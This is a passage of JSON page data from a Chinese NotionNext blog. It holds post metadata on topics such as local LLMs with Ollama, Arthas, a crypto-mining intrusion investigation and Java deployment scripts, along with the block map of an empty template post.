pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"163026f4-445a-4595-936d-c0df491c3776","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-6","tags":["金钱","推荐"],"summary":"仅供列表展示、文章无内容","title":"空白文章6","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:50.804Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random/720x480/?encryption&t=163026f4-445a-4595-936d-c0df491c3776","pageCoverThumbnail":"https://source.unsplash.com/random/720x480/?encryption&t=163026f4-445a-4595-936d-c0df491c3776","tagItems":[{"name":"金钱","color":"green"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"163026f4-445a-4595-936d-c0df491c3776":{"value":{"id":"163026f4-445a-4595-936d-c0df491c3776","version":7,"type":"page","content":["8047ce49-8a30-43e3-ae21-1a9913da3140","30cd7c33-dc56-4b4b-962b-2445a6442ec8","7d8e2c2d-6ec5-4435-8dbc-af87d0101c8c","3bb7258a-b966-4595-a9c8-f254caf970ec","c302ba58-b227-4a75-9ae7-2697a421adf0","85a4674e-83bc-45a6-85b1-cb3f9525c3ec","bf1909a4-a0de-493c-ac25-506087ec7d28","4bd64c59-8abe-4d30-910a-e3730c858da7","339d9b2f-800f-415d-bd76-cd80db3150fe","6eca53c5-d3c1-48c6-8a9e-a093eeba75f4","b1e27fb8-1c5f-4345-990a-a5bcbaecbe50","b68e787c-2062-418d-9c64-cc9199e0dba4","0b50d24f-c00e-46ee-bd81-073a69126edb","7099f78d-a822-4a4d-b53e-c01dd966f30d"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random/720x480/?encryption","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"2e68569d-c502-4d53-8c89-9606c883d6e7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337110,"last_edited_time":1705630790804,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"2e68569d-c502-4d53-8c89-9606c883d6e7","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"8047ce49-8a30-43e3-ae21-1a9913da3140":{"value":{"id":"8047ce49-8a30-43e3-ae21-1a9913da3140","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["267f685c-37ea-403e-9557-8da4bdd04efb"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"3233cb38-a8e0-4f4f-a87e-402b09a26292","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"3233cb38-a8e0-4f4f-a87e-402b09a26292"}},"267f685c-37ea-403e-9557-8da4bdd04efb":{"value":{"id":"267f685c-37ea-403e-9557-8da4bdd04efb","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"4d4d1db1-10ef-45e0-93bb-e4f58d53101e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"8047ce49-8a30-43e3-ae21-1a9913da3140","parent_table":"block","alive":true,"copied_from":"4d4d1db1-10ef-45e0-93bb-e4f58d53101e"}},"30cd7c33-dc56-4b4b-962b-2445a6442ec8":{"value":{"id":"30cd7c33-dc56-4b4b-962b-2445a6442ec8","type":"text","format":{"copied_from_pointer":{"id":"7b847234-b0ad-4041-b976-d286f51b8732","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"7b847234-b0ad-4041-b976-d286f51b8732"}},"7d8e2c2d-6ec5-4435-8dbc-af87d0101c8c":{"value":{"id":"7d8e2c2d-6ec5-4435-8dbc-af87d0101c8c","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"4e0cdf02-c99f-4e35-bef6-ce11ffae8082","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"4e0cdf02-c99f-4e35-bef6-ce11ffae8082"}},"3bb7258a-b966-4595-a9c8-f254caf970ec":{"value":{"id":"3bb7258a-b966-4595-a9c8-f254caf970ec","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"51ee0915-53cf-42b0-a00b-6f6b368ff1bf","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"51ee0915-53cf-42b0-a00b-6f6b368ff1bf"}},"c302ba58-b227-4a75-9ae7-2697a421adf0":{"value":{"id":"c302ba58-b227-4a75-9ae7-2697a421adf0","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"8aed2dc6-1284-4273-87d7-e2ea75457ebb","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"8aed2dc6-1284-4273-87d7-e2ea75457ebb"}},"85a4674e-83bc-45a6-85b1-cb3f9525c3ec":{"value":{"id":"85a4674e-83bc-45a6-85b1-cb3f9525c3ec","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"8430b001-e224-4c1e-995b-a4459d355d59","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"8430b001-e224-4c1e-995b-a4459d355d59"}},"bf1909a4-a0de-493c-ac25-506087ec7d28":{"value":{"id":"bf1909a4-a0de-493c-ac25-506087ec7d28","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"d38a3fcf-2ced-4a62-adde-0a79ad02994b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"d38a3fcf-2ced-4a62-adde-0a79ad02994b"}},"4bd64c59-8abe-4d30-910a-e3730c858da7":{"value":{"id":"4bd64c59-8abe-4d30-910a-e3730c858da7","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"6185443c-dce5-4892-a033-ca6a0d082e98","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"6185443c-dce5-4892-a033-ca6a0d082e98"}},"339d9b2f-800f-415d-bd76-cd80db3150fe":{"value":{"id":"339d9b2f-800f-415d-bd76-cd80db3150fe","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"ce4db5e5-c0f9-4f35-b894-4546a5ad8712","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"ce4db5e5-c0f9-4f35-b894-4546a5ad8712"}},"6eca53c5-d3c1-48c6-8a9e-a093eeba75f4":{"value":{"id":"6eca53c5-d3c1-48c6-8a9e-a093eeba75f4","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"c4e5a7e1-ef39-4f11-82cb-6a7adb02d6ee","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"c4e5a7e1-ef39-4f11-82cb-6a7adb02d6ee"}},"b1e27fb8-1c5f-4345-990a-a5bcbaecbe50":{"value":{"id":"b1e27fb8-1c5f-4345-990a-a5bcbaecbe50","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"e022a548-e4f7-4a02-907d-a22d73d64353","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"e022a548-e4f7-4a02-907d-a22d73d64353"}},"b68e787c-2062-418d-9c64-cc9199e0dba4":{"value":{"id":"b68e787c-2062-418d-9c64-cc9199e0dba4","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"91e73644-592b-4b87-9915-1da4eb96159b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"91e73644-592b-4b87-9915-1da4eb96159b"}},"0b50d24f-c00e-46ee-bd81-073a69126edb":{"value":{"id":"0b50d24f-c00e-46ee-bd81-073a69126edb","type":"text","format":{"copied_from_pointer":{"id":"9b354478-3f05-4212-bfb6-b9149f7db5ad","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"9b354478-3f05-4212-bfb6-b9149f7db5ad"}},"7099f78d-a822-4a4d-b53e-c01dd966f30d":{"value":{"id":"7099f78d-a822-4a4d-b53e-c01dd966f30d","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"e3832ae8-c130-471b-8f41-ee029da590e6","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"e3832ae8-c130-471b-8f41-ee029da590e6"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志